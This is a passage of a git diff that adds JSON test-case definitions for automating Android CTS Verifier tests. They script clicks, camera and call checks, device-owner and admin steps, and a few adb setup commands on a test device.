+{"uuid":"b17bcc33-34e0-4aba-a8ce-080ea0d0846c","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Finish\\\" button\",\"actionId\":\"b17bcc33-34e0-4aba-a8ce-080ea0d0846c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Finish\",\"actionId\":\"26e5b5bb-d879-422b-8d40-76dec0a0155f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Finish\"}],\"childrenIdList\":[\"26e5b5bb-d879-422b-8d40-76dec0a0155f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Finish\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.183000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b1c2250d-2c83-4698-8e4f-e80b296153d9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b1c2250d-2c83-4698-8e4f-e80b296153d9
new file mode 100644
index 0000000..ebfb579
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b1c2250d-2c83-4698-8e4f-e80b296153d9
@@ -0,0 +1 @@
+{"uuid":"b1c2250d-2c83-4698-8e4f-e80b296153d9","details":"{\"type\":\"CompoundAction\",\"name\":\"Take photo\",\"actionId\":\"b1c2250d-2c83-4698-8e4f-e80b296153d9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Take photo\",\"actionId\":\"84e0e867-0d3b-497e-87c0-f20f473d783a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_camera_take_photo\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_camera_take_photo\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_camera_take_photo\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"84e0e867-0d3b-497e-87c0-f20f473d783a\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Take photo","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.010000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4
new file mode 100644
index 0000000..41da12a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4
@@ -0,0 +1 @@
+{"uuid":"b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"WiFi config lockdown off\\\"\",\"actionId\":\"b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, WiFi config lockdown off\",\"actionId\":\"e038ba66-7f44-4fab-a449-9f5e328cf952\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"WiFi config lockdown off\"}],\"childrenIdList\":[\"e038ba66-7f44-4fab-a449-9f5e328cf952\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"WiFi config lockdown off\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.087000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b36ee844-6807-46a4-9073-3d5c83f730fd b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b36ee844-6807-46a4-9073-3d5c83f730fd
new file mode 100644
index 0000000..2b5dba8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b36ee844-6807-46a4-9073-3d5c83f730fd
@@ -0,0 +1 @@
+{"uuid":"b36ee844-6807-46a4-9073-3d5c83f730fd","details":"{\"type\":\"CompoundAction\",\"name\":\"01-Check device owner\",\"actionId\":\"b36ee844-6807-46a4-9073-3d5c83f730fd\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device Owner Tests\",\"actionId\":\"6245e6b0-92de-4482-91a2-b046f0248a44\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device Owner Tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"753dac54-11b4-49c9-acea-859bca20f0ed\",\"displayText\":\"Device Owner Tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Device Owner Tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":328.0,\"x2\":351.25,\"y2\":370.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":83.0,\"y\":346.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":97.0,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"753dac54-11b4-49c9-acea-859bca20f0ed\",\"firstText\":\"Device Owner Tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device Owner Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":334.0,\"x2\":164.0,\"y2\":358.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device Owner Tests\",\"actionId\":\"8e353fd7-3827-43f3-b918-76ddbff4104d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device Owner Tests\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Check device owner\",\"actionId\":\"91da1b93-9f8c-4111-b224-34a232d85946\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Check device owner\"}],\"childrenIdList\":[\"4c401ff4-c80e-44d8-b94c-819dc1366093\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"6245e6b0-92de-4482-91a2-b046f0248a44\",\"8e353fd7-3827-43f3-b918-76ddbff4104d\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"5595e3fe-1f8d-453a-a103-8d15ac2ec05d\",\"150ccde5-c230-418d-a286-b413af7f297b\",\"91da1b93-9f8c-4111-b224-34a232d85946\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_DeviceOwner_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceOwner.apk,\"}}","name":"01-Check device owner","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.080000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b3a44797-fe64-4100-8e0e-9ccbd497c945 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b3a44797-fe64-4100-8e0e-9ccbd497c945
new file mode 100644
index 0000000..bdafb8e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b3a44797-fe64-4100-8e0e-9ccbd497c945
@@ -0,0 +1 @@
+{"uuid":"b3a44797-fe64-4100-8e0e-9ccbd497c945","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Telecom Outgoing Call Test\",\"actionId\":\"b3a44797-fe64-4100-8e0e-9ccbd497c945\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Telecom Outgoing Call Test\",\"actionId\":\"d13f7d12-039b-48be-a9dd-fe0133fe43bc\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Telecom Outgoing Call Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"10da5ab1-89f1-4263-95b2-623d845b41f4\",\"displayText\":\"Telecom Outgoing Call Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Telecom Outgoing Call Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":242.0,\"x2\":350.6666666666667,\"y2\":286.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":109.5,\"y\":261.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":70.5,\"y\":2.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"10da5ab1-89f1-4263-95b2-623d845b41f4\",\"firstText\":\"Telecom Outgoing Call Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Telecom Outgoing Call Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":212.0,\"y1\":273.0,\"x2\":7.0,\"y2\":250.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Telecom Outgoing Call Test\",\"actionId\":\"c8265735-4746-4de3-aaff-1652755204ae\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Telecom Outgoing Call Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/telecom_outgoing_call_register_enable_phone_account_button\",\"actionId\":\"5c8500a7-7b97-4430-9d96-0bb9c6288f63\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/telecom_outgoing_call_register_enable_phone_account_button\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"362882b6-9a1a-48f5-ad83-108b375fb17a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Make calls with\",\"actionId\":\"4b4f41aa-4a10-4494-9a6b-3a1da0c42daa\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Make calls with\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier Test\",\"actionId\":\"79417030-08c3-42be-b501-6ecaaa93f8ff\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier Test\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7a0f1bb5-cc28-40c5-a525-660d1e2bac7a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/telecom_outgoing_call_confirm_register_button\",\"actionId\":\"212250c9-e7a9-4cc7-bdff-6be2fe9476bf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/telecom_outgoing_call_confirm_register_button\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Confirm Register button disabled\",\"actionId\":\"5aaf544e-5b05-4a5a-9a6f-fc639dfa9774\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/telecom_outgoing_call_confirm_register_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/telecom_outgoing_call_dial_button\",\"actionId\":\"90bebca5-af52-45b2-ab46-2781e5481202\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"Click \\\"Dial\\\" button in CTS-V\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/telecom_outgoing_call_dial_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialpad_voice_call_button\",\"actionId\":\"80fda295-cd29-4be0-90a7-dac04ba286ce\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"Make a phone call\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.dialer:id/dialpad_voice_call_button\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Phone is Dialing\",\"actionId\":\"4bd28314-d330-4d09-8d23-a0ce26efbe05\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Dialing\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"3eeec101-789e-4531-9ec1-30d51978d8ea\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/telecom_outgoing_call_confirm_button\",\"actionId\":\"fa91da7c-6367-4480-b037-9e5d9f487dbb\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"Click Confirm\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/telecom_outgoing_call_confirm_button\"}],\"childrenIdList\":[\"caa6ccab-46bc-4259-abd1-dabe145e275a\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"d13f7d12-039b-48be-a9dd-fe0133fe43bc\",\"c8265735-4746-4de3-aaff-1652755204ae\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"5c8500a7-7b97-4430-9d96-0bb9c6288f63\",\"645e8103-d449-40d0-abba-6d734e783792\",\"362882b6-9a1a-48f5-ad83-108b375fb17a\",\"4b4f41aa-4a10-4494-9a6b-3a1da0c42daa\",\"79417030-08c3-42be-b501-6ecaaa93f8ff\",\"7a0f1bb5-cc28-40c5-a525-660d1e2bac7a\",\"212250c9-e7a9-4cc7-bdff-6be2fe9476bf\",\"5aaf544e-5b05-4a5a-9a6f-fc639dfa9774\",\"90bebca5-af52-45b2-ab46-2781e5481202\",\"80fda295-cd29-4be0-90a7-dac04ba286ce\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"4bd28314-d330-4d09-8d23-a0ce26efbe05\",\"3eeec101-789e-4531-9ec1-30d51978d8ea\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"fa91da7c-6367-4480-b037-9e5d9f487dbb\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Telecom Outgoing Call Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.279000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b40e7a89-24b7-4cf7-8942-4733b0536edc b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b40e7a89-24b7-4cf7-8942-4733b0536edc
new file mode 100644
index 0000000..becf0c2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b40e7a89-24b7-4cf7-8942-4733b0536edc
@@ -0,0 +1 @@
+{"uuid":"b40e7a89-24b7-4cf7-8942-4733b0536edc","details":"{\"type\":\"CompoundAction\",\"name\":\"Open Camera\",\"actionId\":\"b40e7a89-24b7-4cf7-8942-4733b0536edc\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Open Camera\",\"actionId\":\"611cae14-8173-4f20-bae5-22875450407e\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_camera\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_camera\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_camera\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"611cae14-8173-4f20-bae5-22875450407e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open Camera","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.003000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b50df53e-f816-49d2-b907-500f3f4f3b5a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b50df53e-f816-49d2-b907-500f3f4f3b5a
new file mode 100644
index 0000000..e8e3afd
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b50df53e-f816-49d2-b907-500f3f4f3b5a
@@ -0,0 +1 @@
+{"uuid":"b50df53e-f816-49d2-b907-500f3f4f3b5a","details":"{\"type\":\"CompoundAction\",\"name\":\"Press Back key 6 times\",\"actionId\":\"b50df53e-f816-49d2-b907-500f3f4f3b5a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b386cfc1-2565-4ea8-b56f-a6d07541e615\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"b386cfc1-2565-4ea8-b56f-a6d07541e615\"],\"repeatTime\":6,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press Back key 6 times","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.119000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b531da69-1e61-4e75-a6b1-7e005df80c7b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b531da69-1e61-4e75-a6b1-7e005df80c7b
new file mode 100644
index 0000000..c156971
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b531da69-1e61-4e75-a6b1-7e005df80c7b
@@ -0,0 +1 @@
+{"uuid":"b531da69-1e61-4e75-a6b1-7e005df80c7b","details":"{\"type\":\"CompoundAction\",\"name\":\"Disable CTS-V admin\",\"actionId\":\"b531da69-1e61-4e75-a6b1-7e005df80c7b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Check if CTS Verifier admin is enabled if yes, deactivate it.\",\"actionId\":\"1dcff6bb-c93e-409b-aca4-39dcc1fd27bb\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nif d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n    d.resource_id(\\\"com.android.settings:id/action_button\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"1dcff6bb-c93e-409b-aca4-39dcc1fd27bb\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Disable CTS-V admin","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.053000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b53eeaf5-391f-4964-84fa-d086c2b938e1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b53eeaf5-391f-4964-84fa-d086c2b938e1
new file mode 100644
index 0000000..f5bbab8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b53eeaf5-391f-4964-84fa-d086c2b938e1
@@ -0,0 +1 @@
+{"uuid":"b53eeaf5-391f-4964-84fa-d086c2b938e1","details":"{\"type\":\"CompoundAction\",\"name\":\"Install Instant App\",\"actionId\":\"b53eeaf5-391f-4964-84fa-d086c2b938e1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Install instant app\",\"actionId\":\"ab89519e-1241-4943-a355-57bad0d44469\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"install -r --instant $uicd_instant_app_path\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"ab89519e-1241-4943-a355-57bad0d44469\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Install Instant App","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.055000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b6c8e3c8-6ab1-4886-8f5e-037dd9346a51 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b6c8e3c8-6ab1-4886-8f5e-037dd9346a51
new file mode 100644
index 0000000..cc55bc3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b6c8e3c8-6ab1-4886-8f5e-037dd9346a51
@@ -0,0 +1 @@
+{"uuid":"b6c8e3c8-6ab1-4886-8f5e-037dd9346a51","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Stay awake off\",\"actionId\":\"b6c8e3c8-6ab1-4886-8f5e-037dd9346a51\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Turn Stay awake off\",\"actionId\":\"ea0170c6-5413-4b72-8365-653b5a61fffb\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell settings put global stay_on_while_plugged_in 0\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"ea0170c6-5413-4b72-8365-653b5a61fffb\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Stay awake off","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.273000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b70fe893-88de-4879-90ab-c2929211baa8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b70fe893-88de-4879-90ab-c2929211baa8
new file mode 100644
index 0000000..76cc6d7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b70fe893-88de-4879-90ab-c2929211baa8
@@ -0,0 +1 @@
+{"uuid":"b70fe893-88de-4879-90ab-c2929211baa8","details":"{\"type\":\"CompoundAction\",\"name\":\"Press Go on dialog\",\"actionId\":\"b70fe893-88de-4879-90ab-c2929211baa8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button3\",\"actionId\":\"da228971-231b-40ec-b5b6-618dacddce25\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button3\"}],\"childrenIdList\":[\"da228971-231b-40ec-b5b6-618dacddce25\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press Go on dialog","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.291000000}
\ No newline at end of file
